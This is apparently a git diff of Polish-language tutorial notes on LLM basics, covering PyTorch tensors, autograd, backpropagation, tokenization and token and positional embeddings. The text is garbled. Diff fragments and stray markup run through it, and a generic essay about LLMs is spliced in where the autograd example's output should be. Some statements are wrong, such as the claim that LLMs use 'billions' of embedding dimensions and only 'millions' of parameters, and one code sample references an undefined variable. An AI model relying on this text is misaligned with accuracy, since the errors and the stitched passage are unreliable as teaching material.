</details>
|
||||
{% endhint %}
|
||||
|
|
303
todo/llm-training-data-preparation/0.-basic-llm-concepts.md
Normal file
|
@ -0,0 +1,303 @@
|
|||
# 0. Podstawowe pojęcia LLM
|
||||
|
||||
## Pretraining
|
||||
|
||||
Pretraining to podstawowa faza w rozwijaniu dużego modelu językowego (LLM), w której model jest narażony na ogromne i różnorodne ilości danych tekstowych. W tym etapie **LLM uczy się fundamentalnych struktur, wzorców i niuansów języka**, w tym gramatyki, słownictwa, składni i relacji kontekstowych. Przetwarzając te obszerne dane, model nabywa szerokie zrozumienie języka i ogólnej wiedzy o świecie. Ta kompleksowa baza umożliwia LLM generowanie spójnego i kontekstowo odpowiedniego tekstu. Następnie ten wstępnie wytrenowany model może przejść do fine-tuningu, gdzie jest dalej trenowany na wyspecjalizowanych zbiorach danych, aby dostosować swoje możliwości do konkretnych zadań lub dziedzin, poprawiając swoją wydajność i trafność w docelowych zastosowaniach.
|
||||
|
||||
## Główne komponenty LLM
|
||||
|
||||
Zazwyczaj LLM charakteryzuje się konfiguracją używaną do jego trenowania. Oto wspólne komponenty podczas trenowania LLM:
|
||||
|
||||
* **Parametry**: Parametry to **uczone wagi i biasy** w sieci neuronowej. To są liczby, które proces treningowy dostosowuje, aby zminimalizować funkcję straty i poprawić wydajność modelu w zadaniu. LLM zazwyczaj używa milionów parametrów.
|
||||
* **Długość kontekstu**: To maksymalna długość każdego zdania używanego do wstępnego trenowania LLM.
|
||||
* **Wymiar osadzenia**: Rozmiar wektora używanego do reprezentacji każdego tokena lub słowa. LLM zazwyczaj używa miliardów wymiarów.
|
||||
* **Wymiar ukryty**: Rozmiar warstw ukrytych w sieci neuronowej.
|
||||
* **Liczba warstw (głębokość)**: Ile warstw ma model. LLM zazwyczaj używa dziesiątek warstw.
|
||||
* **Liczba głów uwagi**: W modelach transformatorowych, to ile oddzielnych mechanizmów uwagi jest używanych w każdej warstwie. LLM zazwyczaj używa dziesiątek głów.
|
||||
* **Dropout**: Dropout to coś w rodzaju procentu danych, które są usuwane (prawdopodobieństwa stają się 0) podczas treningu, używanego do **zapobiegania przeuczeniu.** LLM zazwyczaj używa od 0 do 20%.
|
||||
|
||||
Konfiguracja modelu GPT-2:
|
||||
```json
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
|
||||
"context_length": 1024, // Context length
|
||||
"emb_dim": 768, // Embedding dimension
|
||||
"n_heads": 12, // Number of attention heads
|
||||
"n_layers": 12, // Number of layers
|
||||
"drop_rate": 0.1, // Dropout rate: 10%
|
||||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## Tensors in PyTorch
|
||||
|
||||
W PyTorch, **tensor** to podstawowa struktura danych, która służy jako wielowymiarowa tablica, uogólniając pojęcia takie jak skalar, wektor i macierz do potencjalnie wyższych wymiarów. Tenzory są głównym sposobem reprezentacji i manipulacji danymi w PyTorch, szczególnie w kontekście uczenia głębokiego i sieci neuronowych.
|
||||
|
||||
### Mathematical Concept of Tensors
|
||||
|
||||
* **Scalars**: Tenzory rangi 0, reprezentujące pojedynczą liczbę (zero-wymiarowe). Jak: 5
|
||||
* **Vectors**: Tenzory rangi 1, reprezentujące jednowymiarową tablicę liczb. Jak: \[5,1]
|
||||
* **Matrices**: Tenzory rangi 2, reprezentujące dwuwymiarowe tablice z wierszami i kolumnami. Jak: \[\[1,3], \[5,2]]
|
||||
* **Higher-Rank Tensors**: Tenzory rangi 3 lub wyższej, reprezentujące dane w wyższych wymiarach (np. 3D tenzory dla obrazów kolorowych).
|
||||
|
||||
### Tensors as Data Containers
|
||||
|
||||
Z perspektywy obliczeniowej, tenzory działają jako pojemniki dla wielowymiarowych danych, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tenzory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego.
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
|
||||
Chociaż tenzory PyTorch są podobne do tablic NumPy w ich zdolności do przechowywania i manipulacji danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego:
|
||||
|
||||
* **Automatic Differentiation**: Tenzory PyTorch wspierają automatyczne obliczanie gradientów (autograd), co upraszcza proces obliczania pochodnych wymaganych do trenowania sieci neuronowych.
|
||||
* **GPU Acceleration**: Tenzory w PyTorch mogą być przenoszone i obliczane na GPU, co znacznie przyspiesza obliczenia na dużą skalę.
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
|
||||
Możesz tworzyć tenzory za pomocą funkcji `torch.tensor`:
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
|
||||
# Scalar (0D tensor)
|
||||
tensor0d = torch.tensor(1)
|
||||
|
||||
# Vector (1D tensor)
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
|
||||
# Matrix (2D tensor)
|
||||
tensor2d = torch.tensor([[1, 2],
|
||||
[3, 4]])
|
||||
|
||||
# 3D Tensor
|
||||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### Typy danych tensorów
|
||||
|
||||
Tensory PyTorch mogą przechowywać dane różnych typów, takich jak liczby całkowite i liczby zmiennoprzecinkowe. 
|
||||
|
||||
Możesz sprawdzić typ danych tensora, używając atrybutu `.dtype`:
|
||||
```python
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
* Tensory utworzone z liczb całkowitych Pythona są typu `torch.int64`.
|
||||
* Tensory utworzone z liczb zmiennoprzecinkowych Pythona są typu `torch.float32`.
|
||||
|
||||
Aby zmienić typ danych tensora, użyj metody `.to()`:
|
||||
```python
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
```
|
||||
### Common Tensor Operations
|
||||
|
||||
PyTorch provides a variety of operations to manipulate tensors:
|
||||
|
||||
* **Accessing Shape**: Use `.shape` to get the dimensions of a tensor.
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # Output: torch.Size([2, 2])
|
||||
```
|
||||
* **Reshaping Tensors**: Use `.reshape()` or `.view()` to change the shape.
|
||||
|
||||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
* **Transposing Tensors**: Use `.T` to transpose a 2D tensor.
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
```
|
||||
* **Matrix Multiplication**: Use `.matmul()` or the `@` operator.
|
||||
|
||||
```python
|
||||
result = tensor2d @ tensor2d.T
|
||||
```
|
||||
|
||||
### Importance in Deep Learning
|
||||
|
||||
Tensors are essential in PyTorch for building and training neural networks:
|
||||
|
||||
* Przechowują dane wejściowe, wagi i biasy.
|
||||
* Ułatwiają operacje wymagane do przeprowadzania kroków w przód i w tył w algorytmach treningowych.
|
||||
* Dzięki autograd, tensory umożliwiają automatyczne obliczanie gradientów, upraszczając proces optymalizacji.
|
||||
|
||||
## Automatic Differentiation
|
||||
|
||||
Automatic differentiation (AD) is a computational technique used to **evaluate the derivatives (gradients)** of functions efficiently and accurately. In the context of neural networks, AD enables the calculation of gradients required for **optimization algorithms like gradient descent**. PyTorch provides an automatic differentiation engine called **autograd** that simplifies this process.
|
||||
|
||||
### Mathematical Explanation of Automatic Differentiation
|
||||
|
||||
**1. The Chain Rule**
|
||||
|
||||
At the heart of automatic differentiation is the **chain rule** from calculus. The chain rule states that if you have a composition of functions, the derivative of the composite function is the product of the derivatives of the composed functions.
|
||||
|
||||
Mathematically, if `y=f(u)` and `u=g(x)`, then the derivative of `y` with respect to `x` is:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Computational Graph**
|
||||
|
||||
In AD, computations are represented as nodes in a **computational graph**, where each node corresponds to an operation or a variable. By traversing this graph, we can compute derivatives efficiently.
|
||||
|
||||
3. Example
|
||||
|
||||
Let's consider a simple function:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Where:
|
||||
|
||||
* `σ(z)` is the sigmoid function.
|
||||
* `y=1.0` is the target label.
|
||||
* `L` is the loss.
|
||||
|
||||
We want to compute the gradient of the loss `L` with respect to the weight `w` and bias `b`.
|
||||
|
||||
**4. Computing Gradients Manually**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. Numerical Calculation**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Implementing Automatic Differentiation in PyTorch
|
||||
|
||||
Now, let's see how PyTorch automates this process.
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
|
||||
# Define input and target
|
||||
x = torch.tensor([1.1])
|
||||
y = torch.tensor([1.0])
|
||||
|
||||
# Initialize weights with requires_grad=True to track computations
|
||||
w = torch.tensor([2.2], requires_grad=True)
|
||||
b = torch.tensor([0.0], requires_grad=True)
|
||||
|
||||
# Forward pass
|
||||
z = x * w + b
|
||||
a = torch.sigmoid(z)
|
||||
loss = F.binary_cross_entropy(a, y)
|
||||
|
||||
# Backward pass
|
||||
loss.backward()
|
||||
|
||||
# Gradients
|
||||
print("Gradient w.r.t w:", w.grad)
|
||||
print("Gradient w.r.t b:", b.grad)
|
||||
```
|
||||
**Output:**
|
||||
**Podstawowe pojęcia LLM**
|
||||
W kontekście uczenia maszynowego, LLM (Large Language Model) odnosi się do modeli, które są trenowane na dużych zbiorach danych tekstowych. Te modele są w stanie generować tekst, odpowiadać na pytania i wykonywać różne zadania związane z językiem naturalnym.
|
||||
|
||||
**Jak działają LLM?**
|
||||
LLM działają na podstawie architektury sieci neuronowych, która pozwala im uczyć się wzorców w danych. Proces ten obejmuje trenowanie modelu na ogromnych zbiorach danych, co pozwala mu na zrozumienie kontekstu i znaczenia słów oraz zdań.
|
||||
|
||||
**Zastosowania LLM**
|
||||
LLM mają wiele zastosowań, w tym:
|
||||
- Generowanie tekstu
|
||||
- Tłumaczenie języków
|
||||
- Odpowiadanie na pytania
|
||||
- Tworzenie podsumowań
|
||||
|
||||
**Wyzwania związane z LLM**
|
||||
Mimo ich potężnych możliwości, LLM napotykają również na wyzwania, takie jak:
|
||||
- Zrozumienie kontekstu
|
||||
- Generowanie nieodpowiednich treści
|
||||
- Wymagania dotyczące zasobów obliczeniowych
|
||||
|
||||
**Przyszłość LLM**
|
||||
Przyszłość LLM wydaje się obiecująca, z ciągłym rozwojem technologii i metod uczenia maszynowego. W miarę jak modele stają się coraz bardziej zaawansowane, ich zastosowania będą się rozszerzać, a wyzwania będą wymagały innowacyjnych rozwiązań.
|
||||
```css
|
||||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
```
|
||||
## Backpropagation w większych sieciach neuronowych
|
||||
|
||||
### **1. Rozszerzenie na sieci wielowarstwowe**
|
||||
|
||||
W większych sieciach neuronowych z wieloma warstwami proces obliczania gradientów staje się bardziej złożony z powodu zwiększonej liczby parametrów i operacji. Jednak podstawowe zasady pozostają takie same:
|
||||
|
||||
* **Forward Pass:** Oblicz wyjście sieci, przekazując dane wejściowe przez każdą warstwę.
|
||||
* **Compute Loss:** Oceń funkcję straty, używając wyjścia sieci i docelowych etykiet.
|
||||
* **Backward Pass (Backpropagation):** Oblicz gradienty straty względem każdego parametru w sieci, stosując regułę łańcuchową rekurencyjnie od warstwy wyjściowej do warstwy wejściowej.
|
||||
|
||||
### **2. Algorytm Backpropagation**
|
||||
|
||||
* **Krok 1:** Zainicjalizuj parametry sieci (wagi i biasy).
|
||||
* **Krok 2:** Dla każdego przykładu treningowego wykonaj forward pass, aby obliczyć wyjścia.
|
||||
* **Krok 3:** Oblicz stratę.
|
||||
* **Krok 4:** Oblicz gradienty straty względem każdego parametru, stosując regułę łańcuchową.
|
||||
* **Krok 5:** Zaktualizuj parametry, używając algorytmu optymalizacji (np. spadek gradientu).
|
||||
|
||||
### **3. Reprezentacja matematyczna**
|
||||
|
||||
Rozważ prostą sieć neuronową z jedną ukrytą warstwą:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. Implementacja w PyTorch**
|
||||
|
||||
PyTorch upraszcza ten proces dzięki swojemu silnikowi autograd.
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import torch.optim as optim
|
||||
|
||||
# Define a simple neural network
|
||||
class SimpleNet(nn.Module):
|
||||
def __init__(self):
|
||||
super(SimpleNet, self).__init__()
|
||||
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
|
||||
self.relu = nn.ReLU()
|
||||
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
|
||||
self.sigmoid = nn.Sigmoid()
|
||||
|
||||
def forward(self, x):
|
||||
h = self.relu(self.fc1(x))
|
||||
y_hat = self.sigmoid(self.fc2(h))
|
||||
return y_hat
|
||||
|
||||
# Instantiate the network
|
||||
net = SimpleNet()
|
||||
|
||||
# Define loss function and optimizer
|
||||
criterion = nn.BCELoss()
|
||||
optimizer = optim.SGD(net.parameters(), lr=0.01)
|
||||
|
||||
# Sample data
|
||||
inputs = torch.randn(1, 10)
|
||||
labels = torch.tensor([1.0])
|
||||
|
||||
# Training loop
|
||||
optimizer.zero_grad() # Clear gradients
|
||||
outputs = net(inputs) # Forward pass
|
||||
loss = criterion(outputs, labels) # Compute loss
|
||||
loss.backward() # Backward pass (compute gradients)
|
||||
optimizer.step() # Update parameters
|
||||
|
||||
# Accessing gradients
|
||||
for name, param in net.named_parameters():
|
||||
if param.requires_grad:
|
||||
print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
W tym kodzie:
|
||||
|
||||
* **Forward Pass:** Oblicza wyjścia sieci.
|
||||
* **Backward Pass:** `loss.backward()` oblicza gradienty straty względem wszystkich parametrów.
|
||||
* **Parameter Update:** `optimizer.step()` aktualizuje parametry na podstawie obliczonych gradientów.
|
||||
|
||||
### **5. Zrozumienie Backward Pass**
|
||||
|
||||
Podczas backward pass:
|
||||
|
||||
* PyTorch przeszukuje graf obliczeniowy w odwrotnej kolejności.
|
||||
* Dla każdej operacji stosuje regułę łańcuchową do obliczania gradientów.
|
||||
* Gradienty są akumulowane w atrybucie `.grad` każdego tensora parametru.
|
||||
|
||||
### **6. Zalety automatycznej różniczkowania**
|
||||
|
||||
* **Efektywność:** Unika zbędnych obliczeń poprzez ponowne wykorzystanie wyników pośrednich.
|
||||
* **Dokładność:** Zapewnia dokładne pochodne do precyzji maszyny.
|
||||
* **Łatwość użycia:** Eliminuje ręczne obliczanie pochodnych.
|
96
todo/llm-training-data-preparation/1.-tokenizing.md
Normal file
|
@ -0,0 +1,96 @@
|
|||
# 1. Tokenizacja
|
||||
|
||||
## Tokenizacja
|
||||
|
||||
**Tokenizacja** to proces dzielenia danych, takich jak tekst, na mniejsze, łatwiejsze do zarządzania fragmenty zwane _tokenami_. Każdemu tokenowi przypisywany jest unikalny identyfikator numeryczny (ID). To fundamentalny krok w przygotowywaniu tekstu do przetwarzania przez modele uczenia maszynowego, szczególnie w przetwarzaniu języka naturalnego (NLP).
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej początkowej fazy jest bardzo prosty: **Podzielić dane wejściowe na tokeny (id) w sposób, który ma sens**.
|
||||
{% endhint %}
|
||||
|
||||
### **Jak działa tokenizacja**
|
||||
|
||||
1. **Dzielenie tekstu:**
|
||||
* **Podstawowy tokenizator:** Prosty tokenizator może dzielić tekst na pojedyncze słowa i znaki interpunkcyjne, usuwając spacje.
|
||||
* _Przykład:_\
|
||||
Tekst: `"Witaj, świecie!"`\
|
||||
Tokeny: `["Witaj", ",", "świecie", "!"]`
|
||||
2. **Tworzenie słownika:**
|
||||
* Aby przekształcić tokeny w numeryczne ID, tworzony jest **słownik**. Ten słownik zawiera wszystkie unikalne tokeny (słowa i symbole) i przypisuje każdemu z nich konkretny ID.
|
||||
* **Tokeny specjalne:** To specjalne symbole dodawane do słownika, aby obsługiwać różne scenariusze:
|
||||
* `[BOS]` (Początek sekwencji): Wskazuje początek tekstu.
|
||||
* `[EOS]` (Koniec sekwencji): Wskazuje koniec tekstu.
|
||||
* `[PAD]` (Wypełnienie): Używane do wyrównania długości wszystkich sekwencji w partii.
|
||||
* `[UNK]` (Nieznany): Reprezentuje tokeny, które nie znajdują się w słowniku.
|
||||
* _Przykład:_\
|
||||
Jeśli `"Witaj"` ma ID `64`, `","` to `455`, `"świecie"` to `78`, a `"!"` to `467`, to:\
|
||||
`"Witaj, świecie!"` → `[64, 455, 78, 467]`
|
||||
* **Obsługa nieznanych słów:**\
|
||||
Jeśli słowo takie jak `"Żegnaj"` nie znajduje się w słowniku, jest zastępowane przez `[UNK]`.\
|
||||
`"Żegnaj, świecie!"` → `["[UNK]", ",", "świecie", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Zakładając, że `[UNK]` ma ID `987`)_
|
||||
|
||||
### **Zaawansowane metody tokenizacji**
|
||||
|
||||
Podczas gdy podstawowy tokenizator dobrze działa w przypadku prostych tekstów, ma ograniczenia, szczególnie w przypadku dużych słowników i obsługi nowych lub rzadkich słów. Zaawansowane metody tokenizacji rozwiązują te problemy, dzieląc tekst na mniejsze podjednostki lub optymalizując proces tokenizacji.
|
||||
|
||||
1. **Kodowanie par bajtów (BPE):**
|
||||
* **Cel:** Zmniejsza rozmiar słownika i obsługuje rzadkie lub nieznane słowa, dzieląc je na często występujące pary bajtów.
|
||||
* **Jak to działa:**
|
||||
* Zaczyna od pojedynczych znaków jako tokenów.
|
||||
* Iteracyjnie łączy najczęściej występujące pary tokenów w jeden token.
|
||||
* Kontynuuje, aż nie będzie można połączyć więcej częstych par.
|
||||
* **Korzyści:**
|
||||
* Eliminuje potrzebę tokena `[UNK]`, ponieważ wszystkie słowa mogą być reprezentowane przez łączenie istniejących tokenów podsłownych.
|
||||
* Bardziej efektywny i elastyczny słownik.
|
||||
* _Przykład:_\
|
||||
`"grając"` może być tokenizowane jako `["gra", "jąc"]`, jeśli `"gra"` i `"jąc"` są częstymi podsłowami.
|
||||
2. **WordPiece:**
|
||||
* **Używane przez:** Modele takie jak BERT.
|
||||
* **Cel:** Podobnie jak BPE, dzieli słowa na jednostki podsłowne, aby obsługiwać nieznane słowa i zmniejszać rozmiar słownika.
|
||||
* **Jak to działa:**
|
||||
* Zaczyna od podstawowego słownika pojedynczych znaków.
|
||||
* Iteracyjnie dodaje najczęściej występujące podsłowo, które maksymalizuje prawdopodobieństwo danych treningowych.
|
||||
* Używa modelu probabilistycznego do decydowania, które podsłowa połączyć.
|
||||
* **Korzyści:**
|
||||
* Równoważy między posiadaniem zarządzalnego rozmiaru słownika a efektywnym reprezentowaniem słów.
|
||||
* Efektywnie obsługuje rzadkie i złożone słowa.
|
||||
* _Przykład:_\
|
||||
`"nieszczęście"` może być tokenizowane jako `["nie", "szczęście"]` lub `["nie", "szczęśliwy", "ść"]` w zależności od słownika.
|
||||
3. **Model języka Unigram:**
|
||||
* **Używane przez:** Modele takie jak SentencePiece.
|
||||
* **Cel:** Używa modelu probabilistycznego do określenia najbardziej prawdopodobnego zestawu tokenów podsłownych.
|
||||
* **Jak to działa:**
|
||||
* Zaczyna od dużego zestawu potencjalnych tokenów.
|
||||
* Iteracyjnie usuwa tokeny, które najmniej poprawiają prawdopodobieństwo modelu dla danych treningowych.
|
||||
* Finalizuje słownik, w którym każde słowo jest reprezentowane przez najbardziej prawdopodobne jednostki podsłowne.
|
||||
* **Korzyści:**
|
||||
* Elastyczny i może modelować język w sposób bardziej naturalny.
|
||||
* Często prowadzi do bardziej efektywnych i kompaktowych tokenizacji.
|
||||
* _Przykład:_\
|
||||
`"internacjonalizacja"` może być tokenizowane na mniejsze, znaczące podsłowa jak `["internacjonal", "izacja"]`.
|
||||
|
||||
## Przykład kodu
|
||||
|
||||
Zrozummy to lepiej na przykładzie kodu z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
# Tokenize the code using GPT2 tokenizer version
|
||||
import tiktoken
|
||||
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
|
||||
|
||||
# Print first 50 tokens
|
||||
print(token_ids[:50])
|
||||
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
204
todo/llm-training-data-preparation/3.-token-embeddings.md
Normal file
|
@ -0,0 +1,204 @@
|
|||
# 3. Token Embeddings
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Po tokenizacji danych tekstowych, kolejnym kluczowym krokiem w przygotowaniu danych do trenowania dużych modeli językowych (LLM) takich jak GPT jest tworzenie **token embeddings**. Token embeddings przekształcają dyskretne tokeny (takie jak słowa lub pod-słowa) w ciągłe wektory numeryczne, które model może przetwarzać i z których może się uczyć. To wyjaśnienie rozkłada token embeddings, ich inicjalizację, zastosowanie oraz rolę osadzeń pozycyjnych w poprawie zrozumienia sekwencji tokenów przez model.
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej trzeciej fazy jest bardzo proste: **Przypisanie każdemu z poprzednich tokenów w słowniku wektora o pożądanych wymiarach do trenowania modelu.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
|
||||
Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu inicjowana "losowo", a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu).
|
||||
|
||||
Co więcej, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało różne reprezentacje (znaczenia).
|
||||
{% endhint %}
|
||||
|
||||
### **Czym są Token Embeddings?**
|
||||
|
||||
**Token Embeddings** to numeryczne reprezentacje tokenów w ciągłej przestrzeni wektorowej. Każdy token w słowniku jest powiązany z unikalnym wektorem o stałych wymiarach. Te wektory uchwycają informacje semantyczne i syntaktyczne o tokenach, umożliwiając modelowi zrozumienie relacji i wzorców w danych.
|
||||
|
||||
* **Rozmiar słownika:** Całkowita liczba unikalnych tokenów (np. słów, pod-słów) w słowniku modelu.
|
||||
* **Wymiary osadzenia:** Liczba wartości numerycznych (wymiarów) w wektorze każdego tokena. Wyższe wymiary mogą uchwycić bardziej subtelne informacje, ale wymagają więcej zasobów obliczeniowych.
|
||||
|
||||
**Przykład:**
|
||||
|
||||
* **Rozmiar słownika:** 6 tokenów \[1, 2, 3, 4, 5, 6]
|
||||
* **Wymiary osadzenia:** 3 (x, y, z)
|
||||
|
||||
### **Inicjalizacja Token Embeddings**
|
||||
|
||||
Na początku treningu, token embeddings są zazwyczaj inicjowane małymi losowymi wartościami. Te początkowe wartości są dostosowywane (dostosowywane) podczas treningu, aby lepiej reprezentować znaczenia tokenów na podstawie danych treningowych.
|
||||
|
||||
**Przykład PyTorch:**
|
||||
```python
|
||||
import torch
|
||||
|
||||
# Set a random seed for reproducibility
|
||||
torch.manual_seed(123)
|
||||
|
||||
# Create an embedding layer with 6 tokens and 3 dimensions
|
||||
embedding_layer = torch.nn.Embedding(6, 3)
|
||||
|
||||
# Display the initial weights (embeddings)
|
||||
print(embedding_layer.weight)
|
||||
```
|
||||
**Wynik:**
|
||||
```lua
|
||||
luaCopy codeParameter containing:
|
||||
tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
[ 0.9178, 1.5810, 1.3010],
|
||||
[ 1.2753, -0.2010, -0.1606],
|
||||
[-0.4015, 0.9666, -1.1481],
|
||||
[-1.1589, 0.3255, -0.6315],
|
||||
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
|
||||
```
|
||||
**Wyjaśnienie:**
|
||||
|
||||
* Każdy wiersz odpowiada tokenowi w słowniku.
|
||||
* Każda kolumna reprezentuje wymiar w wektorze osadzenia.
|
||||
* Na przykład, token o indeksie `3` ma wektor osadzenia `[-0.4015, 0.9666, -1.1481]`.
|
||||
|
||||
**Dostęp do osadzenia tokena:**
|
||||
```python
|
||||
# Retrieve the embedding for the token at index 3
|
||||
token_index = torch.tensor([3])
|
||||
print(embedding_layer(token_index))
|
||||
```
|
||||
**Wynik:**
|
||||
```lua
|
||||
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
```
|
||||
**Interpretacja:**
|
||||
|
||||
* Token na indeksie `3` jest reprezentowany przez wektor `[-0.4015, 0.9666, -1.1481]`.
|
||||
* Te wartości to parametry, które model będzie dostosowywał podczas treningu, aby lepiej reprezentować kontekst i znaczenie tokena.
|
||||
|
||||
### **Jak działają osadzenia tokenów podczas treningu**
|
||||
|
||||
Podczas treningu każdy token w danych wejściowych jest konwertowany na odpowiadający mu wektor osadzenia. Te wektory są następnie używane w różnych obliczeniach w modelu, takich jak mechanizmy uwagi i warstwy sieci neuronowej.
|
||||
|
||||
**Przykładowy scenariusz:**
|
||||
|
||||
* **Rozmiar partii:** 8 (liczba próbek przetwarzanych jednocześnie)
|
||||
* **Maksymalna długość sekwencji:** 4 (liczba tokenów na próbkę)
|
||||
* **Wymiary osadzenia:** 256
|
||||
|
||||
**Struktura danych:**
|
||||
|
||||
* Każda partia jest reprezentowana jako tensor 3D o kształcie `(batch_size, max_length, embedding_dim)`.
|
||||
* W naszym przykładzie kształt będzie `(8, 4, 256)`.
|
||||
|
||||
**Wizualizacja:**
|
||||
```css
|
||||
cssCopy codeBatch
|
||||
┌─────────────┐
|
||||
│ Sample 1 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ Sample 2 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ ... │
|
||||
│ Sample 8 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
└─────────────┘
|
||||
```
|
||||
**Wyjaśnienie:**
|
||||
|
||||
* Każdy token w sekwencji jest reprezentowany przez wektor o wymiarach 256.
|
||||
* Model przetwarza te osadzenia, aby nauczyć się wzorców językowych i generować prognozy.
|
||||
|
||||
## **Osadzenia Pozycyjne: Dodawanie Kontekstu do Osadzeń Tokenów**
|
||||
|
||||
Podczas gdy osadzenia tokenów uchwycają znaczenie poszczególnych tokenów, nie kodują one z natury pozycji tokenów w sekwencji. Zrozumienie kolejności tokenów jest kluczowe dla zrozumienia języka. Tutaj wkraczają **osadzenia pozycyjne**.
|
||||
|
||||
### **Dlaczego Osadzenia Pozycyjne Są Potrzebne:**
|
||||
|
||||
* **Kolejność Tokenów Ma Znaczenie:** W zdaniach znaczenie często zależy od kolejności słów. Na przykład, "Kot usiadł na macie" vs. "Mata usiadła na kocie."
|
||||
* **Ograniczenie Osadzenia:** Bez informacji pozycyjnej model traktuje tokeny jako "worek słów", ignorując ich sekwencję.
|
||||
|
||||
### **Rodzaje Osadzeń Pozycyjnych:**
|
||||
|
||||
1. **Absolutne Osadzenia Pozycyjne:**
|
||||
* Przypisują unikalny wektor pozycji do każdej pozycji w sekwencji.
|
||||
* **Przykład:** Pierwszy token w dowolnej sekwencji ma to samo osadzenie pozycyjne, drugi token ma inne, i tak dalej.
|
||||
* **Używane przez:** Modele GPT OpenAI.
|
||||
2. **Relatywne Osadzenia Pozycyjne:**
|
||||
* Kodują względną odległość między tokenami, a nie ich absolutne pozycje.
|
||||
* **Przykład:** Wskazują, jak daleko od siebie są dwa tokeny, niezależnie od ich absolutnych pozycji w sekwencji.
|
||||
* **Używane przez:** Modele takie jak Transformer-XL i niektóre warianty BERT.
|
||||
|
||||
### **Jak Osadzenia Pozycyjne Są Zintegrowane:**
|
||||
|
||||
* **Te Same Wymiary:** Osadzenia pozycyjne mają tę samą wymiarowość co osadzenia tokenów.
|
||||
* **Dodawanie:** Są dodawane do osadzeń tokenów, łącząc tożsamość tokenu z informacją pozycyjną bez zwiększania ogólnej wymiarowości.
|
||||
|
||||
